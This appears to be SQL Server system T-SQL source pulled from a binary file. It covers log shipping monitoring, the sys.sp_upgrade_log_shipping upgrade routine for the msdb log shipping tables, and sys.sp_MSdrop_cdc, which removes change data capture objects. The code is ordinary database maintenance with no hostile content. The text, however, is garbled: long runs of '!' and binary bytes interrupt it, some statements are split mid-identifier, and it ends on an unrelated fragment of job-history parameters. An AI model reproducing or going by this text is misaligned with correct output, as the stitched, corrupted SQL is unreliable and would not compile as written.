                                    ,@is_backup_alert_enabled = threshold_alert_enabled
                                    ,@last_backup_file = last_backup_file
                                    ,@last_backup_utc = last_backup_date_utc 
                            from #primary_monitor
                        end
                        else
                        begin
                            raiserror(32030, 10, 1, @primary_server, @primary_database, @monitor_server)
                        end
                    end -- processing remote
                end
            end -- processing on secondary
            else
            begin
                --
                -- we are on monitor server
                --
                select @primary_id = primary_id
                    ,@backup_threshold = backup_threshold
                    ,@is_backup_alert_enabled = threshold_alert_enabled
                    ,@last_backup_file = last_backup_file
                    ,@last_backup_utc = last_backup_date_utc
                from msdb.dbo.log_shipping_monitor_primary with (nolock)
                where primary_server = upper(@primary_server)
                    and primary_database = @primary_database
            end -- processing on monitor server
            --
            -- insert primary details if available
            --
            if (@primary_id is not null)
            begin
                select @prev_primary_server = @primary_server
                        ,@prev_primary_database = @primary_database
                        ,@time_since_last_backup = datediff(minute, @last_backup_utc, @curutcdate)
                insert into #log_shipping_monitor (
                    status
                    ,is_primary
                    ,server
                    ,database_name
                    ,time_since_last_backup
                    ,last_backup_file
                    ,backup_threshold
                    ,is_backup_alert_enabled)
                values (
                    case when ( @time_since_last_backup > @backup_threshold) then 1 else 0 end
                    ,1
                    ,@primary_server
                    ,@primary_database
                    ,@time_since_last_backup
                    ,@last_backup_file
                    ,@backup_threshold
                    ,@is_backup_alert_enabled)
            end -- primary data available
        end -- process the primary
        --
        -- Insert the secondary
        --
        select @time_since_last_copy = datediff(minute, @last_copied_utc, @curutcdate)
                ,@time_since_last_restore = datediff(minute, @last_restored_utc, @curutcdate)
        insert into #log_shipping_monitor (
            status 
            ,is_primary 
            ,server  
            ,database_name 
            ,time_since_last_copy 
            ,last_copied_file 
            ,time_since_last_restore 
            ,last_restored_file 
            ,last_restored_latency 
            ,restore_threshold 
            ,is_restore_alert_enabled)
        values (
            case when (@time_since_last_restore > @restore_threshold or @last_restored_latency > @restore_threshold) then 1 else 0 end
            ,0
            ,@secondary_server
            ,@secondary_database
            ,@time_since_last_copy
            ,@last_copied_file
            ,@time_since_last_restore
            ,@last_restored_file
            ,@last_restored_latency
            ,@restore_threshold
            ,@is_restore_alert_enabled)
        --
        -- get the next secondary
        --
        fetch #hcsecondaries into @secondary_server!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
+R?v)create procedure sys.sp_upgrade_log_shipping 
as
begin
    set nocount on
    declare @retcode int
                ,@object_id int
                ,@toolpath nvarchar(260)

    --
    -- skip upgrading Yukon Log shipping if edition is not 
    -- Web, Standard, Developer, Enterprise, DataCenter or Workgroup
    --
    if (cast(SERVERPROPERTY('EngineEdition') as int) not in (2,3))
        return 0
    --
    -- First invoke the logshipping install SP
    -- This will do MSDB existence check
    -- install any new metadata needed
    --
    exec sys.sp_logshippinginstallmetadata
    --
    -- Now do a explicit security check
    -- to catch any edition or security issue
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    /*
    --
    -- Upgrade only yukon installs (needed if this code goes out of resource db)
    --
    if (@@microsoftversion / 0x01000000) < 9
    begin
        raiserror(N'This procedure should be executed against 9.0 servers.', 16, -1) 
        return 1
    end
    */
    --
    -- Starting upgrade
    --
    select @object_id = object_id(N'msdb.dbo.log_shipping_primary_databases')
    if @object_id is not null
    begin
        -- columns
        if not exists (select * from msdb.sys.columns where object_id = @object_id
                            and name = N'user_specified_monitor')
        begin
            alter table msdb.dbo.log_shipping_primary_databases
                add user_specified_monitor bit null
        end

        if not exists (select * from msdb.sys.columns where object_id = @object_id
                            and name = N'backup_compression')
        begin
            alter table msdb.dbo.log_shipping_primary_databases
                add backup_compression tinyint not null default 2  --(default to server default)
        end
        -- indices
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'uc1lsprimary_databases')
        begin
            create unique nonclustered index uc1lsprimary_databases 
                on msdb.dbo.log_shipping_primary_databases (primary_database)
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc1lsprimary_databases')
        begin
            create nonclustered index nc1lsprimary_databases 
                on msdb.dbo.log_shipping_primary_databases (monitor_server)
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc2lsprimary_databases')
        begin
            create nonclustered index nc2lsprimary_databases 
                on msdb.dbo.log_shipping_primary_databases (user_specified_monitor)
        end
    end

    select @object_id = object_id(N'msdb.dbo.log_shipping_primary_secondaries')
    if @object_id is not null
    begin
        -- key constraint
        if not exists (select * from msdb.sys.key_constraints where parent_object_id = @object_id
                            and name = N'pklsprimary_secondaries')
        begin
            alter table msdb.dbo.log_shipping_primary_secondaries
                add constraint pklsprimary_secondaries
                    primary key (primary_id, secondary_server, secondary_database)
        end
        -- indices
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc1lsprimary_secondaries')
        begin
            create nonclustered index nc1lsprimary_secondaries 
                on msdb.dbo.log_shipping_primary_secondaries (primary_id)
        end
    end

    select @object_id = object_id(N'msdb.dbo.log_shipping_monitor_primary')
    if @object_id is not null
    begin
        -- indices
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'uc1lsmonitor_primary')
        begin
            create unique nonclustered index uc1lsmonitor_primary 
                on msdb.dbo.log_shipping_monitor_primary (primary_server, primary_database)
        end
    end

    select @object_id = object_id(N'msdb.dbo.log_shipping_monitor_history_detail')
    if @object_id is not null
    begin
        -- indices
        if exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc1lsmonitor_history_detail')
        begin
            drop index nc1lsmonitor_history_detail 
                on msdb.dbo.log_shipping_monitor_history_detail
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'c1lsmonitor_history_detail')
        begin
            create clustered index c1lsmonitor_history_detail 
                on msdb.dbo.log_shipping_monitor_history_detail (agent_id, agent_type)
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc2lsmonitor_history_detail')
        begin
            create nonclustered index nc2lsmonitor_history_detail 
                on msdb.dbo.log_shipping_monitor_history_detail (database_name)
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc3lsmonitor_history_detail')
        begin
            create nonclustered index nc3lsmonitor_history_detail 
                on msdb.dbo.log_shipping_monitor_history_detail (log_time_utc)
        end
    end

    select @object_id = object_id(N'msdb.dbo.log_shipping_monitor_error_detail')
    if @object_id is not null
    begin
        -- indices
        if exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc1lsmonitor_error_detail')
        begin
            drop index nc1lsmonitor_error_detail 
                on msdb.dbo.log_shipping_monitor_error_detail
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'c1lsmonitor_error_detail')
        begin
            create clustered index c1lsmonitor_error_detail 
                on msdb.dbo.log_shipping_monitor_error_detail (agent_id, agent_type)
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc2lsmonitor_error_detail')
        begin
            create nonclustered index nc2lsmonitor_error_detail 
                on msdb.dbo.log_shipping_monitor_error_detail (database_name)
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc3lsmonitor_error_detail')
        begin
            create nonclustered index nc3lsmonitor_error_detail 
                on msdb.dbo.log_shipping_monitor_error_detail (log_time_utc)
        end
    end

    select @object_id = object_id(N'msdb.dbo.log_shipping_secondary')
    if @object_id is not null
    begin
        -- columns
        if not exists (select * from msdb.sys.columns where object_id = @object_id
                            and name = N'user_specified_monitor')
        begin
            alter table msdb.dbo.log_shipping_secondary
                add user_specified_monitor bit null
        end
        -- indices
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'uc1lssecondary')
        begin
            create unique nonclustered index uc1lssecondary 
              !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<8
+df)  on msdb.dbo.log_shipping_secondary (primary_server, primary_database)
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc1lssecondary')
        begin
            create nonclustered index nc1lssecondary 
                on msdb.dbo.log_shipping_secondary (monitor_server)
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc2lssecondary')
        begin
            create nonclustered index nc2lssecondary 
                on msdb.dbo.log_shipping_secondary (user_specified_monitor)
        end
    end

    select @object_id = object_id(N'msdb.dbo.log_shipping_secondary_databases')
    if @object_id is not null
    begin
        -- indices
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc1lssecondary_databases')
        begin
            create nonclustered index nc1lssecondary_databases 
                on msdb.dbo.log_shipping_secondary_databases (secondary_id)
        end
    end

    select @object_id = object_id(N'msdb.dbo.log_shipping_monitor_secondary')
    if @object_id is not null
    begin
        -- columns
        if not exists (select * from msdb.sys.columns where object_id = @object_id
                            and name = N'last_restored_latency')
        begin
            alter table msdb.dbo.log_shipping_monitor_secondary
                add last_restored_latency int null
        end
        -- key constraint
        if not exists (select * from msdb.sys.key_constraints where parent_object_id = @object_id
                            and name = N'pklsmonitor_secondary')
        begin
            alter table msdb.dbo.log_shipping_monitor_secondary
                add constraint pklsmonitor_secondary
                    primary key (secondary_id, secondary_database)
        end
        -- indices
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'uc1lsmonitor_secondary')
        begin
            create unique nonclustered index uc1lsmonitor_secondary 
                on msdb.dbo.log_shipping_monitor_secondary (secondary_server, secondary_database)
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc1lsmonitor_secondary')
        begin
            create nonclustered index nc1lsmonitor_secondary 
                on msdb.dbo.log_shipping_monitor_secondary (secondary_id)
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc2lsmonitor_secondary')
        begin
            create nonclustered index nc2lsmonitor_secondary 
                on msdb.dbo.log_shipping_monitor_secondary (restore_threshold)
        end
        if not exists (select * from msdb.sys.indexes where object_id = @object_id
                            and name = N'nc3lsmonitor_secondary')
        begin
            create nonclustered index nc3lsmonitor_secondary 
                on msdb.dbo.log_shipping_monitor_secondary (last_restored_latency)
        end
    end

    select @object_id = object_id(N'msdb.dbo.log_shipping_monitor_alert')
    if @object_id is not null
    begin
        -- key constraint
        if not exists (select * from msdb.sys.key_constraints where parent_object_id = @object_id
                            and type = N'PK')
        begin
            alter table msdb.dbo.log_shipping_monitor_alert
                add primary key (alert_job_id)
        end
    end
    --
    -- Update the jobstep flag of the LS jobs
    --
    update msdb.dbo.sysjobsteps 
    set flags = 32 
    where job_id in (
                        select backup_job_id 
                        from msdb.dbo.log_shipping_primary_databases
                        where backup_job_id is not null
                        union all
                        select copy_job_id 
                        from msdb.dbo.log_shipping_secondary
                        where copy_job_id is not null
                        union all
                        select restore_job_id 
                        from msdb.dbo.log_shipping_secondary
                        where restore_job_id is not null
                        union all
                        select alert_job_id 
                        from msdb.dbo.log_shipping_monitor_alert
                        where alert_job_id is not null)

    --
    -- Update the jobsteps to relfect the new Katmai path to logshipping.exe
    --

    exec @retcode = sys.sp_MSgetlogshipagentpath @toolpath = @toolpath OUTPUT
    if @retcode != 0
    begin
            raiserror(32018, 16, 2)
            return 1
    end

    -- Update backup job steps
    update msdb.dbo.sysjobsteps
    set command = stuff(command, 1, patindex(N'%-backup%', lower(command))-1, N'"' + @toolpath + N'sqllogship.exe" ')
    where patindex(N'%-backup%', lower(command)) != 0
        and patindex(N'%' + lower(@toolpath) + N'%', lower(command)) = 0
        and patindex(N'%sqllogship.exe%', lower(command)) != 0
        and job_id in (
        	select backup_job_id 
                        from msdb.dbo.log_shipping_primary_databases
                        where backup_job_id is not null )

    -- Update copy job steps
    update msdb.dbo.sysjobsteps
    set command = stuff(command, 1, patindex(N'%-copy%', lower(command))-1, N'"' + @toolpath + N'sqllogship.exe" ')
    where patindex(N'%-copy%', lower(command)) != 0
        and patindex(N'%' + lower(@toolpath) + N'%', lower(command)) = 0
        and patindex(N'%sqllogship.exe%', lower(command)) != 0
        and job_id in (
        	select copy_job_id 
                        from msdb.dbo.log_shipping_secondary
                        where copy_job_id is not null )
        

    -- Update restore job steps
    update msdb.dbo.sysjobsteps
    set command = stuff(command, 1, patindex(N'%-restore%', lower(command))-1, N'"' + @toolpath + N'sqllogship.exe" ')
    where patindex(N'%-restore%', lower(command)) != 0
        and patindex(N'%' + lower(@toolpath) + N'%', lower(command)) = 0
        and patindex(N'%sqllogship.exe%', lower(command)) != 0
        and job_id in (
        	select restore_job_id 
                        from msdb.dbo.log_shipping_secondary
                        where restore_job_id is not null )
        
    
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
,i2vxqcreate procedure [sys].[sp_MSdrop_cdc]
as

if object_id('[sys].[sp_MSverboselogging]', 'P') is not null
    drop procedure [sys].[sp_MSverboselogging]

if object_id('[sys].[sp_clearisreplicated]', 'P') is not null
    drop procedure [sys].[sp_clearisreplicated]
    
if object_id('[sys].[sp_cdc_scan]', 'P') is not null
    drop procedure [sys].[sp_cdc_scan]
    
if object_id('[sys].[sp_cdc_get_job_parameters]', 'P') is not null
    drop procedure [sys].[sp_cdc_get_job_parameters]

if object_id('[sys].[sp_MScdc_capture_job]', 'P') is not null
    drop procedure [sys].[sp_MScdc_capture_job]

if object_id('[sys].[sp_MScdc_ddl_server_trigger]', 'P') is not null
    drop procedure [sys].[sp_MScdc_ddl_server_trigger]

if object_id('[sys].[sp_MScdc_ddl_database_triggers]', 'P') is not null
    drop procedure [sys].[sp_MScdc_ddl_database_triggers]

if object_id('[sys].[sp_MScdc_ddl_event]', 'P') is not null
    drop procedure [sys].[sp_MScdc_ddl_event]
    
if object_id('[sys].[sp_cdc_ddl_event_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_ddl_event_internal]

if object_id('[sys].[sp_MScdc_db_ddl_event]', 'P') is not null
    drop procedure [sys].[sp_MScdc_db_ddl_event]
  
if object_id('[sys].[sp_cdc_cleanup_job_entries]', 'P') is not null
    drop procedure [sys].[sp_cdc_cleanup_job_entries]

if object_id('[sys].[sp_MScdc_logddl]', 'P') is not null
    drop procedure [sys].[sp_MScdc_logddl]
    
if object_id('[sys].[sp_cdc_logddl_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_logddl_internal]
    
if object_id('[sys].[fn_cdc_is_db_enabled]', 'FN') is not null
    drop function [sys].[fn_cdc_is_db_enabled]
    
if object_id('[sys].[fn_cdc_is_table_enabled]', 'FN') is not null
    drop function [sys].[fn_cdc_is_table_enabled]
 
if object_id('[sys].[fn_cdc_dropped_tables]', 'FN') is not null
    drop function [sys].[fn_cdc_dropped_tables]

if object_id('[sys].[fn_cdc_index_required]', 'FN') is not null
    drop function [sys].[fn_cdc_index_required]

if object_id('[sys].[fn_cdc_constraint_required]', 'FN') is not null
    drop function [sys].[fn_cdc_constraint_required]
    
if object_id('[sys].[fn_cdc_get_source]', 'FN') is not null
    drop function [sys].[fn_cdc_get_source]
    
if object_id('[sys].[fn_cdc_get_role]', 'FN') is not null
    drop function [sys].[fn_cdc_get_role]

if object_id('[sys].[fn_cdc_get_jobid]', 'TF') is not null
    drop function [sys].[fn_cdc_get_jobid]
    
if object_id('[sys].[fn_cdc_jobs]', 'FN') is not null
    drop function [sys].[fn_cdc_jobs]

if object_id('[sys].[fn_cdc_job_entry]', 'FN') is not null
    drop function [sys].[fn_cdc_job_entry]
    
if object_id('[sys].[fn_cdc_db_name_from_job_entry]', 'FN') is not null
    drop function [sys].[fn_cdc_db_name_from_job_entry]

if object_id('[sys].[fn_cdc_get_start_lsn]', 'FN') is not null
    drop function [sys].[fn_cdc_get_start_lsn]
    
if object_id('[sys].[fn_cdc_hexstrtobin]', 'FN') is not null
    drop function [sys].[fn_cdc_hexstrtobin]

if object_id('[sys].[sp_cdc_dbsnapshotLSN]', 'P') is not null
    drop procedure [sys].[sp_cdc_dbsnapshotLSN]

if object_id('[sys].[fn_cdc_trim_whitespace]', 'FN') is not null
    drop function [sys].[fn_cdc_trim_whitespace]    
    
if object_id('[sys].[fn_cdc_get_column_list]', 'TF') is not null
    drop function [sys].[fn_cdc_get_column_list]
 
if object_id('[sys].[fn_cdc_db_objects_exist]', 'FN') is not null
    drop function [sys].[fn_cdc_db_objects_exist]

if object_id('[sys].[fn_cdc_compute_low_water_mark]', 'FN') is not null
    drop function [sys].[fn_cdc_compute_low_water_mark]

if object_id('[sys].[fn_cdc_format_type]', 'FN') is not null
    drop function [sys].[fn_cdc_format_type]

if object_id('[sys].[fn_cdc_next_right_quote]', 'FN') is not null
    drop function [sys].[fn_cdc_next_right_quote]
    
if object_id('[sys].[fn_cdc_capture_instances]', 'FN') is not null
    drop function [sys].[fn_cdc_capture_instances]
    
if object_id('[sys].[fn_cdc_capture_instance_exists]', 'FN') is not null
    drop function [sys].[fn_cdc_capture_instance_exists]
    
if object_id('[sys].[sp_cdc_add_capture_instance_entry]', 'P') is not null
    drop procedure [sys].[sp_cdc_add_capture_instance_entry]
    
if object_id('[sys].[sp_cdc_add_index_columns_entry]', 'P') is not null
    drop procedure [sys].[sp_cdc_add_index_columns_entry]
    
if object_id('[sys].[sp_cdc_add_captured_columns]', 'P') is not null
    drop procedure [sys].[sp_cdc_add_captured_columns]
    
if object_id('[sys].[sp_cdc_disable_table_tranx]', 'P') is not null
    drop procedure [sys].[sp_cdc_disable_table_tranx]
  
if object_id('[sys].[sp_cdc_create_functions]', 'P') is not null
    drop procedure [sys].[sp_cdc_create_functions]

if object_id('[sys].[sp_cdc_lsn_time_mapping_procs]', 'P') is not null
    drop procedure [sys].[sp_cdc_lsn_time_mapping_procs]
    
if object_id('[sys].[sp_cdc_create_populate_stored_procs]', 'P') is not null
    drop procedure [sys].[sp_cdc_create_populate_stored_procs]
    
if object_id('[sys].[sp_cdc_create_objects]', 'P') is not null
    drop procedure [sys].[sp_cdc_create_objects]
    
if object_id('[sys].[sp_cdc_drop_change_table_objects]', 'P') is not null
    drop procedure [sys].[sp_cdc_drop_change_table_objects]

if object_id('[sys].[sp_cdc_drop_objects]', 'P') is not null
    drop procedure [sys].[sp_cdc_drop_objects]

if object_id('[sys].[sp_cdc_verify_capture_instance]', 'P') is not null
    drop procedure [sys].[sp_cdc_verify_capture_instance]

if object_id('[sys].[sp_cdc_verify_index_name]', 'P') is not null
    drop procedure [sys].[sp_cdc_verify_index_name]

if object_id('[sys].[sp_cdc_verify_role_name]', 'P') is not null
    drop procedure [sys].[sp_cdc_verify_role_name]
 
if object_id('[sys].[sp_cdc_extract_column]', 'P') is not null
    drop procedure [sys].[sp_cdc_extract_column]
    
if object_id('[sys].[sp_cdc_parse_captured_column_list]', 'P') is not null
    drop procedure [sys].[sp_cdc_parse_captured_column_list]

if object_id('[sys].[sp_cdc_parse_included_column_list]', 'P') is not null
    drop procedure [sys].[sp_cdc_parse_included_column_list]

if object_id('[sys].[sp_cdc_parse_update_flag_list]', 'P') is not null
    drop procedure [sys].[sp_cdc_parse_update_flag_list]

if object_id('[sys].[sp_cdc_create_change_table]', 'P') is not null
    drop procedure [sys].[sp_cdc_create_change_table]

if object_id('[sys].[sp_cdc_create_change_table_index]', 'P') is not null
    drop procedure [sys].[sp_cdc_create_change_table_index]
    
if object_id('[sys].[sp_cdc_create_change_enumeration_functions]', 'P') is not null
    drop procedure [sys].[sp_cdc_create_change_enumeration_functions]
    
if object_id('[sys].[sp_cdc_create_change_enumeration_wrapper_function]', 'P') is not null
    drop procedure [sys].[sp_cdc_create_change_enumeration_wrapper_function]

if object_id('[sys].[sp_cdc_grant_select_on_change_enumeration_functions]', 'P') is not null
    drop procedure [sys].[sp_cdc_grant_select_on_change_enumeration_functions]
    
if object_id('[sys].[sp_cdc_cleanup_change_tables]', 'P') is not null
    drop procedure [sys].[sp_cdc_cleanup_change_tables]
    
if object_id('[sys].[sp_cdc_enable_db]', 'P') is not null
    drop procedure [sys].[sp_cdc_enable_db]

if object_id('[sys].[sp_cdc_enable_db_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_enable_db_internal]

if object_id('[sys].[sp_cdc_disable_db]', 'P') is not null
    drop procedure [sys].[sp_cdc_disable_db]
    
if object_id('[sys].[sp_cdc_disable_db_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_disable_db_internal]

if object_id('[sys].[sp_cdc_enable_table]', 'P') is not null
    drop procedure [sys].[sp_cdc_enable_table]
    
if object_id('[sys].[sp_cdc_enable_table_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_enable_table_internal!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
,
5xq]
    
if object_id('[sys].[sp_cdc_disable_table]', 'P') is not null
    drop procedure [sys].[sp_cdc_disable_table]
    
if object_id('[sys].[sp_cdc_disable_table_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_disable_table_internal]
  
if object_id('[sys].[sp_cdc_get_cleanup_retention]', 'P') is not null
    drop procedure [sys].[sp_cdc_get_cleanup_retention]
    
if object_id('[sys].[sp_cdc_cleanup_job_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_cleanup_job_internal]

if object_id('[sys].[sp_MScdc_cleanup_job]', 'P') is not null
    drop procedure [sys].[sp_MScdc_cleanup_job]
    
if object_id('[sys].[sp_cdc_cleanup_change_table_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_cleanup_change_table_internal]

if object_id('[sys].[sp_cdc_cleanup_change_table]', 'P') is not null
    drop procedure [sys].[sp_cdc_cleanup_change_table]

if object_id('[sys].[sp_cdc_disable_table_instance]', 'P') is not null
    drop procedure [sys].[sp_cdc_disable_table_instance]

if object_id('[sys].[sp_cdc_add_job_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_add_job_internal]

if object_id('[sys].[sp_cdc_add_job]', 'P') is not null
    drop procedure [sys].[sp_cdc_add_job]
    
if object_id('[sys].[sp_cdc_drop_job_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_drop_job_internal]

if object_id('[sys].[sp_cdc_drop_job]', 'P') is not null
    drop procedure [sys].[sp_cdc_drop_job]
    
if object_id('[sys].[sp_cdc_start_job_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_start_job_internal]

if object_id('[sys].[sp_cdc_start_job]', 'P') is not null
    drop procedure [sys].[sp_cdc_start_job]

if object_id('[sys].[sp_cdc_stop_job_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_stop_job_internal]

if object_id('[sys].[sp_cdc_stop_job]', 'P') is not null
    drop procedure [sys].[sp_cdc_stop_job]
    
if object_id('[sys].[sp_cdc_help_jobs_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_help_jobs_internal]
    
if object_id('[sys].[sp_cdc_help_jobs]', 'P') is not null
    drop procedure [sys].[sp_cdc_help_jobs]

if object_id('[sys].[sp_cdc_change_job_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_change_job_internal]

if object_id('[sys].[sp_cdc_change_job]', 'P') is not null
    drop procedure [sys].[sp_cdc_change_job]

if object_id('[sys].[sp_MScdc_job_security_check]', 'P') is not null
    drop procedure [sys].[sp_MScdc_job_security_check]

if object_id('[sys].[sp_cdc_restoredb]', 'P') is not null
    drop procedure [sys].[sp_cdc_restoredb]
    
if object_id('[sys].[sp_cdc_restoredb_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_restoredb_internal]
    
if object_id('[sys].[sp_MScdc_tranrepl_check]', 'P') is not null
    drop procedure [sys].[sp_MScdc_tranrepl_check]

if object_id('[sys].[sp_cdc_vupgrade]', 'P') is not null
    drop procedure [sys].[sp_cdc_vupgrade]
    
if object_id('[sys].[sp_cdc_vupgrade_databases]', 'P') is not null
    drop procedure [sys].[sp_cdc_vupgrade_databases]
    
if object_id('[sys].[sp_cdc_get_capture_instances]', 'P') is not null
    drop procedure [sys].[sp_cdc_get_capture_instances]
    
if object_id('[sys].[sp_cdc_help_change_data_capture]', 'P') is not null
    drop procedure [sys].[sp_cdc_help_change_data_capture]
    
if object_id('[sys].[sp_cdc_change_data_capture]', 'P') is not null
    drop procedure [sys].[sp_cdc_change_data_capture]
    
if object_id('[sys].[sp_cdc_get_captured_columns]', 'P') is not null
    drop procedure [sys].[sp_cdc_get_captured_columns]
    
if object_id('[sys].[sp_cdc_captured_columns]', 'P') is not null
    drop procedure [sys].[sp_cdc_captured_columns]

if object_id('[sys].[sp_cdc_get_ddl_history]', 'P') is not null
    drop procedure [sys].[sp_cdc_get_ddl_history]
    
if object_id('[sys].[sp_cdc_ddl_history]', 'P') is not null
    drop procedure [sys].[sp_cdc_ddl_history]
    
if object_id('[sys].[sp_cdc_generate_wrapper_function]', 'P') is not null
    drop procedure [sys].[sp_cdc_generate_wrapper_function]
    
if object_id('[sys].[sp_cdc_generate_wrapper_function_internal]', 'P') is not null
    drop procedure [sys].[sp_cdc_generate_wrapper_function_internal]

if object_id('[sys].[fn_cdc_has_select_access]', 'FN') is not null
    drop function [sys].[fn_cdc_has_select_access]

if object_id('[sys].[fn_cdc_is_range_valid]', 'FN') is not null
    drop function [sys].[fn_cdc_is_range_valid]
 
if object_id('[sys].[fn_cdc_check_parameters]', 'FN') is not null
    drop function [sys].[fn_cdc_check_parameters]

if object_id('[sys].[fn_cdc_all_changes_range_error]', 'FN') is not null
    drop function [sys].[fn_cdc_all_changes_range_error]

if object_id('[sys].[fn_cdc_net_changes_range_error]', 'FN') is not null
    drop function [sys].[fn_cdc_net_changes_range_error]

if object_id('[sys].[fn_cdc_get_min_lsn]', 'FN') is not null
    drop function [sys].[fn_cdc_get_min_lsn]

if object_id('[sys].[fn_cdc_get_max_lsn]', 'FN') is not null
    drop function [sys].[fn_cdc_get_max_lsn]

if object_id('[sys].[fn_cdc_map_time_to_lsn]', 'FN') is not null
    drop function [sys].[fn_cdc_map_time_to_lsn]

if object_id('[sys].[fn_cdc_map_lsn_to_time]', 'FN') is not null
    drop function [sys].[fn_cdc_map_lsn_to_time]

if object_id('[sys].[fn_cdc_has_column_changed]', 'FN') is not null
    drop function [sys].[fn_cdc_has_column_changed]
    
if object_id('[sys].[fn_cdc_get_column_ordinal_internal]', 'FN') is not null
    drop function [sys].[fn_cdc_get_column_ordinal_internal]

if object_id('[sys].[fn_cdc_get_column_ordinal]', 'FN') is not null
    drop function [sys].[fn_cdc_get_column_ordinal]

IF object_id('sys.dm_cdc_log_scan_sessions', 'V') IS NOT NULL
    drop view sys.dm_cdc_log_scan_sessions

IF object_id('sys.dm_cdc_errors', 'V') IS NOT NULL
    drop view sys.dm_cdc_errors

if object_id('[sys].[sp_MScdccheck_ddladmin]', 'P') is not null
    drop procedure [sys].[sp_MScdccheck_ddladmin]

if object_id('[sys].[sp_is_trace_flag_to_bypass_proc_gen_set]', 'P') is not null
    drop procedure [sys].[sp_is_trace_flag_to_bypass_proc_gen_set]
]2 ]2ssage_id       = @error_id,
					  @sql_severity         = @sev,
					  @message              = @message,
					  @run_status           = 0,
					  @run_date             = @run_date,
					  @run_time             = @run_time,
					  @run_duration         = @run_duration,
					  @retries_attempted    = 0,
